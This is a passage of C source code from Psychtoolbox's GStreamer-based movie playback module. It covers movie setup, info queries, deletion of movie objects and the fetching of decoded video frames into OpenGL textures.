printf("PTB-ERROR: Invalid OverrideEOTF parameter specified in 'movieOptions' [= '%s']: %s!\n", pstring, (pixelFormat == 11) ? "Could not parse EOTF id code - Must be a number" : "Only allowed for pixelFormat 11 playback");
if (printErrors)
PsychErrorExitMsg(PsychError_user, "Invalid OverrideEOTF parameter specified in 'movieOptions' parameter. Could not parse EOTF id code or unsuitable pixelFormat!");
else
return;
}
}
// Parse HDR static metadata from movie, if supported, and if any:
PsychParseMovieHDRMetadata(&movieRecordBANK[slotid], caps);
} else {
printf("PTB-DEBUG: No frame info available after preroll.\n");
}
// Release the pad:
gst_object_unref(pad);
pad = gst_element_get_static_pad(videosink, "sink");
peerpad = gst_pad_get_peer(pad);
caps = gst_pad_get_current_caps(peerpad);
// Try to get more detailed info about the actual content received by our sink:
if (gst_video_info_from_caps (&movieRecordBANK[slotid].sinkVideoInfo, caps)) {
if (PsychPrefStateGet_Verbosity() > 3) {
printf("PTB-DEBUG: Sink colorimetry is %s.\n", gst_video_colorimetry_to_string (&movieRecordBANK[slotid].sinkVideoInfo.colorimetry));
printf("PTB-DEBUG: Sink range %i, colormatrix %i, color primaries %i, eotf %i.\n", movieRecordBANK[slotid].sinkVideoInfo.colorimetry.range,
movieRecordBANK[slotid].sinkVideoInfo.colorimetry.matrix, movieRecordBANK[slotid].sinkVideoInfo.colorimetry.primaries,
movieRecordBANK[slotid].sinkVideoInfo.colorimetry.transfer);
printf("PTB-DEBUG: Sink format %s. Depth %i bpc.\n", movieRecordBANK[slotid].sinkVideoInfo.finfo->name, *movieRecordBANK[slotid].sinkVideoInfo.finfo->depth);
}
}
gst_object_unref(peerpad);
// Release the pad:
gst_object_unref(pad);
}
if (strstr(moviename, "v4l2:")) {
// Special case: The "movie" is actually a video4linux2 live source.
// Need to make parameters up for now, so it to work as "movie":
rate1 = 30; width = 640; height = 480;
movieRecordBANK[slotid].nrVideoTracks = 1;
// Uglyness at its best ;-)
if (strstr(moviename, "320")) { width = 320; height = 240; };
}
// NULL out videocodec, we must not unref it, as we didn't aquire or own private ref:
videocodec = NULL;
// Assign new record in moviebank:
movieRecordBANK[slotid].theMovie = theMovie;
movieRecordBANK[slotid].loopflag = 0;
movieRecordBANK[slotid].frameAvail = 0;
movieRecordBANK[slotid].imageBuffer = NULL;
movieRecordBANK[slotid].startPending = 0;
movieRecordBANK[slotid].endOfFetch = 0;
*moviehandle = slotid;
// Increase counter:
numMovieRecords++;
// Compute basic movie properties - Duration and fps as well as image size:
// Retrieve duration in seconds:
if (gst_element_query_duration(theMovie, GST_FORMAT_TIME, &length_format)) {
// This returns nsecs, so convert to seconds:
movieRecordBANK[slotid].movieduration = (double) length_format / (double) 1e9;
//printf("PTB-DEBUG: Duration of movie %i [%s] is %lf seconds.\n", slotid, moviename, movieRecordBANK[slotid].movieduration);
} else {
movieRecordBANK[slotid].movieduration = DBL_MAX;
if (PsychPrefStateGet_Verbosity() > 1)
printf("PTB-WARNING: Could not query duration of movie %i [%s] in seconds. Returning infinity.\n", slotid, moviename);
}
// Assign expected framerate, assuming a linear spacing between frames:
movieRecordBANK[slotid].fps = (double) rate1 / (double) rate2;
//printf("PTB-DEBUG: Framerate fps of movie %i [%s] is %lf fps.\n", slotid, moviename, movieRecordBANK[slotid].fps);
// Drop frames if callback can't pull buffers fast enough, unless ascynFlags & 4 is set:
// This together with a max queue lengths of 1 allows to
// maintain audio-video sync by framedropping if needed.
gst_app_sink_set_drop(GST_APP_SINK(videosink), (asyncFlag & 4) ? FALSE : TRUE);
// Buffering of decoded video frames requested?
if (asyncFlag & 4) {
// Yes: If a specific preloadSecs and a valid fps playback framerate is available, we
// set the maximum buffer capacity to the number of frames corresponding to the given 'preloadSecs'.
// Otherwise we set it to zero, which means "unlimited capacity", ie., until RAM full:
gst_app_sink_set_max_buffers(GST_APP_SINK(videosink),
((movieRecordBANK[slotid].fps > 0) && (preloadSecs >= 0)) ? ((int) (movieRecordBANK[slotid].fps * preloadSecs) + 1) : 0);
}
else {
// No: Only allow one queued buffer before dropping, to avoid optimal audio-video sync:
gst_app_sink_set_max_buffers(GST_APP_SINK(videosink), 1);
}
// Compute framecount from fps and duration:
movieRecordBANK[slotid].nrframes = (int)(movieRecordBANK[slotid].fps * movieRecordBANK[slotid].movieduration + 0.5);
//printf("PTB-DEBUG: Number of frames in movie %i [%s] is %i.\n", slotid, moviename, movieRecordBANK[slotid].nrframes);
// Is this movie supposed to be encoded in Psychtoolbox special proprietary "16 bpc stuffed into 8 bpc" format?
if (specialFlags1 & 512) {
// Yes. Invert the hacks applied during encoding/writing of movie:
// Only 1 layer and 3 layer are supported:
if (pixelFormat != 1 && pixelFormat !=3) {
if (printErrors)
PsychErrorExitMsg(PsychError_user, "You specified 'specialFlags1' setting 512 for Psychtoolbox proprietary 16 bpc decoding, but pixelFormat is not 1 or 3 as required for this decoding method!");
else
return;
}
// Set bitdepth of movie to 16 bpc for later texture creation from decoded video frames:
movieRecordBANK[slotid].bitdepth = 16;
// 1-layer: 1 bpc 16 gray pixel stored in 2/3 RGB8 pixel. This was achieved by multiplying
// height by 2/3 in encoding, so invert by multiplying with 3/2:
if (pixelFormat == 1) height = height * 3 / 2;
// 3-layer: 1 RGB16 pixel stored in two adjacent RGB8 pixels. This was achieved by doubling
// width, so undo by dividing width by 2:
if (pixelFormat == 3) width = width / 2;
if (PsychPrefStateGet_Verbosity() > 2) printf("PTB-INFO: Playing back movie in Psychtoolbox proprietary 16 bpc %i channel encoding.\n", pixelFormat);
}
// Make sure the input format for raw Bayer sensor data is actually 1 layer grayscale, and that PTB for this OS supports debayering:
if (specialFlags1 & 1024) {
if (movieRecordBANK[slotid].pixelFormat != 1) {
if (printErrors)
PsychErrorExitMsg(PsychError_user, "specialFlags1 & 1024 set to indicate this movie consists of raw Bayer sensor data, but pixelFormat is not == 1, as required!");
else
return;
}
// Abort early if libdc1394 support is not available on this configuration:
#ifndef PTBVIDEOCAPTURE_LIBDC
if (printErrors)
PsychErrorExitMsg(PsychError_user, "Sorry, Bayer filtering of video frames, as requested by specialFlags1 setting & 1024, is not supported on this operating system.");
else
return;
#endif
}
// Define size of images in movie:
movieRecordBANK[slotid].width = width;
movieRecordBANK[slotid].height = height;
// Assign parent window record, for use in movie deletion code:
movieRecordBANK[slotid].parentRecord = win;
// Should we dump the whole decoding pipeline graph to a file for visualization
// with GraphViz? This can be controlled via PsychTweak('GStreamerDumpFilterGraph' dirname);
if (getenv("GST_DEBUG_DUMP_DOT_DIR")) {
// Dump complete decoding filter graph to a .dot file for later visualization with GraphViz:
printf("PTB-DEBUG: Dumping movie decoder graph for movie %s to directory %s.\n", moviename, getenv("GST_DEBUG_DUMP_DOT_DIR"));
GST_DEBUG_BIN_TO_DOT_FILE_WITH_TS(GST_BIN(movieRecordBANK[slotid].theMovie), GST_DEBUG_GRAPH_SHOW_ALL, "PsychMoviePlaybackGraph");
}
// Ready to rock!
return;
}
/*
* PsychGSGetMovieInfos() - Return basic information about a movie.
*
* framecount = Total number of video frames in the movie, determined by counting.
* durationsecs = Total playback duration of the movie, in seconds.
* framerate = Estimated video playback framerate in frames per second (fps).
* width = Width of movie images in pixels.
* height = Height of movie images in pixels.
* nrdroppedframes = Total count of videoframes that had to be dropped during last movie playback,
* in order to keep the movie synced with the realtime clock.
*/
void PsychGSGetMovieInfos(int moviehandle, int* width, int* height, int* framecount, double* durationsecs, double* framerate, int* nrdroppedframes, double* aspectRatio)
{
if (moviehandle < 0 || moviehandle >= PSYCH_MAX_MOVIES) {
PsychErrorExitMsg(PsychError_user, "Invalid moviehandle provided!");
}
if (movieRecordBANK[moviehandle].theMovie == NULL) {
PsychErrorExitMsg(PsychError_user, "Invalid moviehandle provided. No movie associated with this handle !!!");
}
if (framecount) *framecount = movieRecordBANK[moviehandle].nrframes;
if (durationsecs) *durationsecs = movieRecordBANK[moviehandle].movieduration;
if (framerate) *framerate = movieRecordBANK[moviehandle].fps;
if (nrdroppedframes) *nrdroppedframes = movieRecordBANK[moviehandle].nr_droppedframes;
if (width) *width = movieRecordBANK[moviehandle].width;
if (height) *height = movieRecordBANK[moviehandle].height;
if (aspectRatio) *aspectRatio = movieRecordBANK[moviehandle].aspectRatio;
return;
}
/*
* PsychGSDeleteMovie() -- Delete a movie object and release all associated ressources.
*/
void PsychGSDeleteMovie(int moviehandle)
{
PsychWindowRecordType **windowRecordArray;
int i, numWindows;
if (moviehandle < 0 || moviehandle >= PSYCH_MAX_MOVIES) {
PsychErrorExitMsg(PsychError_user, "Invalid moviehandle provided!");
}
if (movieRecordBANK[moviehandle].theMovie == NULL) {
PsychErrorExitMsg(PsychError_user, "Invalid moviehandle provided. No movie associated with this handle !!!");
}
// Stop movie playback immediately:
PsychMoviePipelineSetState(movieRecordBANK[moviehandle].theMovie, GST_STATE_NULL, 20.0);
// Delete movieobject for this handle:
gst_object_unref(GST_OBJECT(movieRecordBANK[moviehandle].theMovie));
movieRecordBANK[moviehandle].theMovie=NULL;
// Delete visual context for this movie:
movieRecordBANK[moviehandle].MovieContext = NULL;
PsychDestroyMutex(&movieRecordBANK[moviehandle].mutex);
PsychDestroyCondition(&movieRecordBANK[moviehandle].condition);
free(movieRecordBANK[moviehandle].imageBuffer);
movieRecordBANK[moviehandle].imageBuffer = NULL;
movieRecordBANK[moviehandle].videosink = NULL;
// Recycled texture in texture cache?
if ((movieRecordBANK[moviehandle].parentRecord) && (movieRecordBANK[moviehandle].cached_texture > 0)) {
// Yes. Release it.
PsychSetGLContext(movieRecordBANK[moviehandle].parentRecord);
glDeleteTextures(1, &(movieRecordBANK[moviehandle].cached_texture));
movieRecordBANK[moviehandle].cached_texture = 0;
}
if (movieRecordBANK[moviehandle].texturePlanarHDRDecodeShader)
PsychSetShader(movieRecordBANK[moviehandle].parentRecord, 0);
// Delete all references to us in textures originally originating from us:
PsychCreateVolatileWindowRecordPointerList(&numWindows, &windowRecordArray);
for(i = 0; i < numWindows; i++) {
if ((windowRecordArray[i]->windowType == kPsychTexture) && (windowRecordArray[i]->texturecache_slot == moviehandle)) {
// This one is referencing us. Reset its reference to "undefined" to detach it from us:
windowRecordArray[i]->texturecache_slot = -1;
// Transform video texture into a normalized, upright texture of RGB(A) format of
// suitable precision if it isn't already in that format. This way we can get rid
// of our special conversion/draw shader now:
if (movieRecordBANK[moviehandle].texturePlanarHDRDecodeShader)
PsychNormalizeTextureOrientation(windowRecordArray[i]);
}
}
PsychDestroyVolatileWindowRecordPointerList(windowRecordArray);
// Delete our conversion shader:
if (movieRecordBANK[moviehandle].texturePlanarHDRDecodeShader)
glDeleteProgram(movieRecordBANK[moviehandle].texturePlanarHDRDecodeShader);
// Decrease counter:
if (numMovieRecords>0) numMovieRecords--;
return;
}
/*
* PsychGSDeleteAllMovies() -- Delete all movie objects and release all associated ressources.
*/
void PsychGSDeleteAllMovies(void)
{
int i;
for (i=0; i<PSYCH_MAX_MOVIES; i++) {
if (movieRecordBANK[i].theMovie) PsychGSDeleteMovie(i);
}
return;
}
/*
* PsychGSGetTextureFromMovie() -- Create an OpenGL texture map from a specific videoframe from given movie object.
*
* win = Window pointer of onscreen window for which a OpenGL texture should be created.
* moviehandle = Handle to the movie object.
* checkForImage = 0 == Retrieve the image, blocking until error timeout if necessary.
* 1 == Check for new image in polling fashion.
* 2 == Check for new image in blocking fashion. Wait up to 5 seconds blocking for a new frame.
* timeindex = When not in playback mode, this allows specification of a requested frame by presentation time.
* If set to -1, or if in realtime playback mode, this parameter is ignored and the next video frame is returned.
* out_texture = Pointer to the Psychtoolbox texture-record where the new texture should be stored.
* presentation_timestamp = A ptr to a double variable, where the presentation timestamp of the returned frame should be stored.
*
* Returns true (1) on success, false (0) if no new image available, -1 if no new image available and there won't be any in future.
*/
int PsychGSGetTextureFromMovie(PsychWindowRecordType *win, int moviehandle, int checkForImage, double timeindex,
PsychWindowRecordType *out_texture, double *presentation_timestamp)
{
GstElement *theMovie;
double rate;
double targetdelta, realdelta, frames;
GstBuffer *videoBuffer = NULL;
GstSample *videoSample = NULL;
gint64 bufferIndex;
double deltaT = 0;
GstEvent *event;
static double tStart = 0;
double tNow;
double preT, postT;
unsigned char* releaseMemPtr = NULL;
#if PSYCH_SYSTEM == PSYCH_WINDOWS
#pragma warning( disable : 4068 )
#endif
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wmissing-field-initializers"
GstMapInfo mapinfo = GST_MAP_INFO_INIT;
#pragma GCC diagnostic pop
if (!PsychIsOnscreenWindow(win)) {
PsychErrorExitMsg(PsychError_user, "Need onscreen window ptr!!!");
}
if (moviehandle < 0 || moviehandle >= PSYCH_MAX_MOVIES) {
PsychErrorExitMsg(PsychError_user, "Invalid moviehandle provided.");
}
if ((timeindex!=-1) && (timeindex < 0 || timeindex >= 100000.0)) {
PsychErrorExitMsg(PsychError_user, "Invalid timeindex provided.");
}
// Fetch references to objects we need:
theMovie = movieRecordBANK[moviehandle].theMovie;
if (theMovie == NULL) {
PsychErrorExitMsg(PsychError_user, "Invalid moviehandle provided. No movie associated with this handle.");
}
// Deferred start of movie playback requested? This so if movie is supposed to be
// actively playing (rate != 0) and the startPending flag marks a pending deferred start:
if ((movieRecordBANK[moviehandle].rate != 0) && movieRecordBANK[moviehandle].startPending) {
// Deferred start: Reset flag, start pipeline with a max timeout of 1 second:
movieRecordBANK[moviehandle].startPending = 0;
PsychMoviePipelineSetState(theMovie, GST_STATE_PLAYING, 1);
// This point is reached after either the pipeline is fully started, or the
// timeout has elapsed. In the latter case, a GST_STATE_CHANGE_ASYNC message
// is printed and start of pipeline continues asynchronously. No big deal for
// us, as we'll simply block in the rest of the texture fetch (checkForImage) path
// until the first frame is ready and audio playback has started. The main purpose
// of setting a reasonable timeout above is to avoid cluttering the console with
// status messages (timeout big enough for common case) but allow user to interrupt
// ops that take too long (timeout small enough to avoid long user-perceived exec-hangs).
// 1 Second is used to cater to the common case of playing files from disc, but coping
// with multi-second delays for network streaming (buffering delays in preroll).
}
// Allow context task to do its internal bookkeeping and cleanup work:
PsychGSProcessMovieContext(&(movieRecordBANK[moviehandle]), FALSE);
// If this is a pure audio "movie" with no video tracks, we always return failed,
// as those certainly don't have movie frames associated.
if (movieRecordBANK[moviehandle].nrVideoTracks == 0) return((checkForImage) ? -1 : FALSE);
// Get current playback rate:
rate = movieRecordBANK[moviehandle].rate;
// Is movie actively playing (automatic async playback, possibly with synced sound)?
// If so, then we ignore the 'timeindex' parameter, because the automatic playback
// process determines which frames should be delivered to PTB when. This function will
// simply wait or poll for arrival/presence of a new frame that hasn't been fetched
// in previous calls.
if (0 == rate) {
// Movie playback inactive. We are in "manual" mode: No automatic async playback,
// no synced audio output. The user just wants to manually fetch movie frames into
// textures for manual playback in a standard Matlab-loop.
// First pass - checking for new image?
if (checkForImage) {
// Image for specific point in time requested?
if (timeindex >= 0) {
// Yes. We try to retrieve the next possible image for requested timeindex.
// Seek to target timeindex:
PsychGSSetMovieTimeIndex(moviehandle, timeindex, FALSE);
}
// Check for frame availability happens down there in the shared check code...
}
}
// Should we just check for new image? If so, just return availability status:
if (checkForImage) {
// Take reference timestamps of fetch start:
if (tStart == 0) PsychGetAdjustedPrecisionTimerSeconds(&tStart);
PsychLockMutex(&movieRecordBANK[moviehandle].mutex);
if ((((0 != rate) && movieRecordBANK[moviehandle].frameAvail) || ((0 == rate) && movieRecordBANK[moviehandle].preRollAvail)) &&
!gst_app_sink_is_eos(GST_APP_SINK(movieRecordBANK[moviehandle].videosink))) {
// New frame available. Unlock and report success:
//printf("PTB-DEBUG: NEW FRAME %d\n", movieRecordBANK[moviehandle].frameAvail);
PsychUnlockMutex(&movieRecordBANK[moviehandle].mutex);
return(TRUE);
}
// None available. Any chance there will be one in the future?
if (((rate != 0) && gst_app_sink_is_eos(GST_APP_SINK(movieRecordBANK[moviehandle].videosink)) && (movieRecordBANK[moviehandle].loopflag == 0)) ||
((rate == 0) && (movieRecordBANK[moviehandle].endOfFetch))) {
// No new frame available and there won't be any in the future, because this is a non-looping
// movie that has reached its end.
movieRecordBANK[moviehandle].endOfFetch = 0;
PsychUnlockMutex(&movieRecordBANK[moviehandle].mutex);
return(-1);
}
else {
// No new frame available yet:
PsychUnlockMutex(&movieRecordBANK[moviehandle].mutex);
// In the polling check, we return with statue "no new frame yet" aka false:
if (checkForImage < 2) return(FALSE);
// Otherwise (blocking/waiting check) we fall-through the wait code below...
}
}
// If we reach this point, then an image fetch is requested. If no new data
// is available we shall block:
PsychLockMutex(&movieRecordBANK[moviehandle].mutex);
// printf("PTB-DEBUG: Blocking fetch start %d\n", movieRecordBANK[moviehandle].frameAvail);
if (((0 != rate) && !movieRecordBANK[moviehandle].frameAvail) ||
((0 == rate) && !movieRecordBANK[moviehandle].preRollAvail)) {
// No new frame available. Perform a blocking wait with timeout of 0.5 seconds:
PsychTimedWaitCondition(&movieRecordBANK[moviehandle].condition, &movieRecordBANK[moviehandle].mutex, 0.5);
// Allow context task to do its internal bookkeeping and cleanup work:
PsychGSProcessMovieContext(&(movieRecordBANK[moviehandle]), FALSE);
// Recheck:
if (((0 != rate) && !movieRecordBANK[moviehandle].frameAvail) ||
((0 == rate) && !movieRecordBANK[moviehandle].preRollAvail)) {
// Wait timed out after 0.5 secs.
PsychUnlockMutex(&movieRecordBANK[moviehandle].mutex);
if (PsychPrefStateGet_Verbosity() > 5) printf("PTB-DEBUG: No frame received after timed blocking wait of 0.5 seconds.\n");
// This is the end of a "up to 0.5 seconds blocking wait" style checkForImage of type 2.
// Return "no new frame available yet". The calling code will retry the wait until its own
// higher master timeout value is reached:
return(FALSE);
}
// At this point we should have at least one frame available.
// printf("PTB-DEBUG: After blocking fetch start %d\n", movieRecordBANK[moviehandle].frameAvail);
}
// We're here with at least one frame available and the mutex lock held.
// Was this a pure "blocking check for new image"?
if (checkForImage) {
// Yes. Unlock mutex and signal success to caller - A new frame is ready.
PsychUnlockMutex(&movieRecordBANK[moviehandle].mutex);
return(TRUE);
}
// If we reach this point, then at least 1 frame should be available and we are
// asked to fetch it now and return it as a new OpenGL texture. The mutex is locked:
// Preroll case is simple:
movieRecordBANK[moviehandle].preRollAvail = 0;
// Perform texture fetch & creation:
// Active playback mode?
if (0 != rate) {
// Active playback mode:
if (PsychPrefStateGet_Verbosity() > 5) printf("PTB-DEBUG: Pulling buffer from videosink, %d buffers decoded and queued.\n", movieRecordBANK[moviehandle].frameAvail);
// Clamp frameAvail to maximum queue capacity, unless queue capacity is zero == "unlimited" capacity:
if (((int) gst_app_sink_get_max_buffers(GST_APP_SINK(movieRecordBANK[moviehandle].videosink)) < movieRecordBANK[moviehandle].frameAvail) &&
(gst_app_sink_get_max_buffers(GST_APP_SINK(movieRecordBANK[moviehandle].videosink)) > 0)) {
movieRecordBANK[moviehandle].frameAvail = (int) gst_app_sink_get_max_buffers(GST_APP_SINK(movieRecordBANK[moviehandle].videosink));
}
// One less frame available after our fetch:
movieRecordBANK[moviehandle].frameAvail--;
// We can unlock early, thanks to videosink's internal buffering: XXX FIXME: Perfectly race-free to do this before the pull?
PsychUnlockMutex(&movieRecordBANK[moviehandle].mutex);
// This will pull the oldest video buffer from the videosink. It would block if none were available,
// but that won't happen as we wouldn't reach this statement if none were available. It would return
// NULL if the stream would be EOS or the pipeline off, but that shouldn't ever happen:
videoSample = gst_app_sink_pull_sample(GST_APP_SINK(movieRecordBANK[moviehandle].videosink));
} else {
// Passive fetch mode: Use prerolled buffers after seek:
// These are available even after eos...
// We can unlock early, thanks to videosink's internal buffering: XXX FIXME: Perfectly race-free to do this before the pull?
PsychUnlockMutex(&movieRecordBANK[moviehandle].mutex);
videoSample = gst_app_sink_pull_preroll(GST_APP_SINK(movieRecordBANK[moviehandle].videosink));
}
// Sample received?
if (videoSample) {
// Get pointer to buffer - no ownership transfer, no unref needed:
videoBuffer = gst_sample_get_buffer(videoSample);
// Assign pts presentation timestamp in pipeline stream time and convert to seconds:
movieRecordBANK[moviehandle].pts = (double) GST_BUFFER_PTS(videoBuffer) / (double) 1e9;
// Iff forward playback is active and a target timeindex was specified and this buffer is not at least of
// that timeindex and at least one more buffer is queued, then skip this buffer, pull the next one and check
// if that one meets the required pts:
while ((rate > 0) && (timeindex >= 0) && (movieRecordBANK[moviehandle].pts < timeindex) && (movieRecordBANK[moviehandle].frameAvail > 0)) {
// Tell user about reason for rejecting this buffer:
if (PsychPrefStateGet_Verbosity() > 5) {
printf("PTB-DEBUG: Fast-Skipped buffer id %i with pts %f secs < targetpts %f secs.\n", (int) GST_BUFFER_OFFSET(videoBuffer), movieRecordBANK[moviehandle].pts, timeindex);
}
// Decrement available frame counter:
PsychLockMutex(&movieRecordBANK[moviehandle].mutex);
movieRecordBANK[moviehandle].frameAvail--;
PsychUnlockMutex(&movieRecordBANK[moviehandle].mutex);
// Return the unused sample to queue:
gst_sample_unref(videoSample);
// Pull the next one. As frameAvail was > 0 at check-time, we know there is at least one pending,
// so there shouldn't be a danger of hanging here:
videoSample = gst_app_sink_pull_sample(GST_APP_SINK(movieRecordBANK[moviehandle].videosink));
if (NULL == videoSample) {
// This should never happen!
printf("PTB-ERROR: No new video frame received in gst_app_sink_pull_sample skipper loop! Something's wrong. Aborting fetch.\n");
return(FALSE);
}
// Get pointer to buffer - no ownership transfer, no unref needed:
videoBuffer = gst_sample_get_buffer(videoSample);
// Assign updated pts presentation timestamp of new candidate in pipeline stream time and convert to seconds:
movieRecordBANK[moviehandle].pts = (double) GST_BUFFER_PTS(videoBuffer) / (double) 1e9;
// Recheck if this is a better candidate...
}
// Compute timedelta and bufferindex:
if (GST_CLOCK_TIME_IS_VALID(GST_BUFFER_DURATION(videoBuffer)))
deltaT = (double) GST_BUFFER_DURATION(videoBuffer) / (double) 1e9;
bufferIndex = GST_BUFFER_OFFSET(videoBuffer);
if (PsychPrefStateGet_Verbosity() > 5) printf("PTB-DEBUG: pts %f secs, dT %f secs, bufferId %i.\n", movieRecordBANK[moviehandle].pts, deltaT, (int) bufferIndex);
// Assign pointer to videoBuffer's data directly:
if (out_texture) {
// Map the buffers memory for reading:
if (!gst_buffer_map(videoBuffer, &mapinfo, GST_MAP_READ)) {
printf("PTB-ERROR: Failed to map video data of movie frame! Something's wrong. Aborting fetch.\n");
gst_sample_unref(videoSample);
videoBuffer = NULL;
return(FALSE);
}
out_texture->textureMemory = (GLuint*) mapinfo.data;
}
} else {
printf("PTB-ERROR: No new video frame received in gst_app_sink_pull_sample! Something's wrong. Aborting fetch.\n");
return(FALSE);
}
if (PsychPrefStateGet_Verbosity() > 5) printf("PTB-DEBUG: ...done.\n");
PsychGetAdjustedPrecisionTimerSeconds(&tNow);
if (PsychPrefStateGet_Verbosity() > 4) printf("PTB-DEBUG: Start of frame query to decode completion: %f msecs.\n", (tNow - tStart) * 1000.0);
tStart = tNow;
// Assign presentation_timestamp:
if (presentation_timestamp) *presentation_timestamp = movieRecordBANK[moviehandle].pts;
// Only create actual OpenGL texture if out_texture is non-NULL. Otherwise we're
// just skipping this. Useful for benchmarks, fast forward seeking, etc.
if (out_texture) {
// Activate OpenGL context of target window:
PsychSetGLContext(win);
#if PSYCH_SYSTEM == PSYCH_OSX
// Explicitely disable Apple's Client storage extensions. For now they are not really useful to us.
glPixelStorei(GL_UNPACK_CLIENT_STORAGE_APPLE, GL_FALSE);
#endif
// Build a standard PTB texture record:
PsychMakeRect(out_texture->rect, 0, 0, movieRecordBANK[moviehandle].width, movieRecordBANK[moviehandle].height);
// Set texture orientation as if it were an inverted Offscreen window: Upside-down.
out_texture->textureOrientation = 3;
// We use zero client storage memory bytes:
out_texture->textureMemorySizeBytes = 0;
// Assign default number of effective color channels:
out_texture->nrchannels = movieRecordBANK[moviehandle].pixelFormat;
// Is this grayscale movie actually a Bayer-encoded RGB movie? specialFlags1 & 1024 would indicate that:
if (movieRecordBANK[moviehandle].specialFlags1 & 1024) {
// This is Bayer raw sensor data which needs to get decoded into full RGB images.
#ifdef PTBVIDEOCAPTURE_LIBDC
// Ok, need to convert this grayscale image which actually contains raw Bayer sensor data into
// a RGB image. Need to perform software Bayer filtering via libdc1394 Debayering routines.
out_texture->textureMemory = (GLuint*) PsychDCDebayerFrame((unsigned char*) (out_texture->textureMemory), movieRecordBANK[moviehandle].width, movieRecordBANK[moviehandle].height, movieRecordBANK[moviehandle].bitdepth);
// Return failure if Debayering did not work:
if (out_texture->textureMemory == NULL) {
gst_buffer_unmap(videoBuffer, &mapinfo);
gst_sample_unref(videoSample);
videoBuffer = NULL;
return(FALSE);
}
releaseMemPtr = (unsigned char*) out_texture->textureMemory;
out_texture->nrchannels = 3; // Always 3 for RGB.
#else
// Won't ever reach this, as already Screen('OpenMovie') would have bailed out
// if libdc1394 is not supported.
return(FALSE);
#endif
}
// Assign default depth according to number of channels:
out_texture->depth = out_texture->nrchannels * movieRecordBANK[moviehandle].bitdepth;
if (out_texture->nrchannels < 4) {
// For 1-3 channel textures, play safe, don't assume alignment:
out_texture->textureByteAligned = 1;
}
else {
// 4 channel format:
// Textures are aligned on at least 4 Byte boundaries because texels are RGBA8. For
// frames of even-numbered pixel width, we can even get 8 Byte alignment:
out_texture->textureByteAligned = (movieRecordBANK[moviehandle].width % 2) ? 4 : 8;
}
// Assign texturehandle of our cached texture, if any, so it gets recycled now:
out_texture->textureNumber = movieRecordBANK[moviehandle].cached_texture;
// Mark this texture as originating from us, ie., our moviehandle, so texture recycling
// actually gets used:
out_texture->texturecache_slot = moviehandle;
// YUV 422 packed pixel upload requested?
if ((win->gfxcaps & kPsychGfxCapUYVYTexture) && (movieRecordBANK[moviehandle].pixelFormat == 5)) {
// GPU supports UYVY textures and we get data in that YCbCr format. Tell
// texture creation routine to use this optimized format:
if (!glewIsSupported("GL_APPLE_ycbcr_422")) {
// No support for more powerful Apple extension. Use Linux MESA extension:
out_texture->textureinternalformat = GL_YCBCR_MESA;
out_texture->textureexternalformat = GL_YCBCR_MESA;
} else {
// Apple extension supported:
out_texture->textureinternalformat = GL_RGB8;
out_texture->textureexternalformat = GL_YCBCR_422_APPLE;
}
// Same enumerant for Apple and Mesa:
out_texture->textureexternaltype = GL_UNSIGNED_SHORT_8_8_MESA;
// Number of effective channels is 3 for RGB8:
out_texture->nrchannels = 3;
// And 24 bpp depth:
out_texture->depth = 24;
// Byte alignment: For even number of pixels, assume at least 4 Byte alignment due to packing of 2 effective
// pixels into one 32-Bit packet, maybe even 8 Byte alignment if divideable by 4. For other width's, assume
// no alignment ie., 1 Byte:
out_texture->textureByteAligned = (movieRecordBANK[moviehandle].width % 2) ? 1 : ((movieRecordBANK[moviehandle].width % 4) ? 4 : 8);
}
// Upload of a "pseudo YUV" planar texture with only 8 bits Y component requested?
if ((movieRecordBANK[moviehandle].pixelFormat == 7) || (movieRecordBANK[moviehandle].pixelFormat == 8)) {
// We encode Y luminance data inside a 8 bit per pixel luminance texture. The
// "Y" luminance plane is stored at full 1 sample per pixel resolution with 8 bits.
// As such the texture appears to OpenGL as a normal LUMINANCE8 texture. Conversion of the Y
// luminance data into useable RGBA8 pixel fragments will happen during rendering via a suitable fragment
// shader. The net gain of this is that we can skip any kind of cpu based colorspace conversion
// for video formats/codecs which provide YUV data, by offloading the conversion to the GPU:
out_texture->textureinternalformat = 0;
// Mark texture as planar encoded, so proper conversion shader gets applied during
// call to PsychNormalizeTextureOrientation(), prior to any render-to-texture operation, e.g.,
// if used as an offscreen window, or as a participant of a Screen('TransformTexture') call:
out_texture->specialflags |= kPsychPlanarTexture;
// Assign special filter shader for Y8 -> RGBA8 color-space conversion of the
// planar texture during drawing or PsychNormalizeTextureOrientation():
if (!PsychAssignPlanarI800TextureShader(out_texture, win)) PsychErrorExitMsg(PsychError_user, "Assignment of Y8-Y800 video decoding shader failed during movie texture creation!");
// Number of effective channels is 1 for L8:
out_texture->nrchannels = 1;
// And 8 bpp depth: This will trigger bog-standard LUMINANCE8 texture creation in PsychCreateTexture():
out_texture->depth = 8;
// Byte alignment - Only depends on width of an image row, given the 1 Byte per pixel data:
out_texture->textureByteAligned = 1;
if (movieRecordBANK[moviehandle].width % 2 == 0) out_texture->textureByteAligned = 2;
if (movieRecordBANK[moviehandle].width % 4 == 0) out_texture->textureByteAligned = 4;
if (movieRecordBANK[moviehandle].width % 8 == 0) out_texture->textureByteAligned = 8;
}
// YUV I420 planar pixel upload requested?
if (movieRecordBANK[moviehandle].pixelFormat == 6) {
// We encode I420 planar data inside a 8 bit per pixel luminance texture of
// 1.5x times the height of the video frame. First the "Y" luminance plane
// is stored at full 1 sample per pixel resolution with 8 bits. Then a 0.25x
// height slice with "U" Cr chrominance data at half the horizontal and vertical
// resolution aka 1 sample per 2x2 pixel quad. Then a 0.25x height slice with "V"
// Cb chrominance data at 1 sample per 2x2 pixel quad resolution. As such the texture
// appears to OpenGL as a normal LUMINANCE8 texture. Conversion of the planar format
// into useable RGBA8 pixel fragments will happen during rendering via a suitable fragment
// shader. The net gain of this is that we effectively only need 1.5 Bytes per pixel instead
// of 3 Bytes for RGB8 or 4 Bytes for RGBA8:
out_texture->textureexternaltype = GL_UNSIGNED_BYTE;
out_texture->textureexternalformat = GL_LUMINANCE;
out_texture->textureinternalformat = GL_LUMINANCE8;
// Define a rect of 1.5 times the video frame height, so PsychCreateTexture() will source
// the whole input data buffer:
PsychMakeRect(out_texture->rect, 0, 0, movieRecordBANK[moviehandle].width, movieRecordBANK[moviehandle].height * 1.5);
// Check if 1.5x height texture fits within hardware limits of this GPU:
if (movieRecordBANK[moviehandle].height * 1.5 > win->maxTextureSize) PsychErrorExitMsg(PsychError_user, "Videoframe size too big for this graphics card and pixelFormat! Please retry with a pixelFormat of 4 in 'OpenMovie'.");
// Byte alignment: Assume no alignment for now:
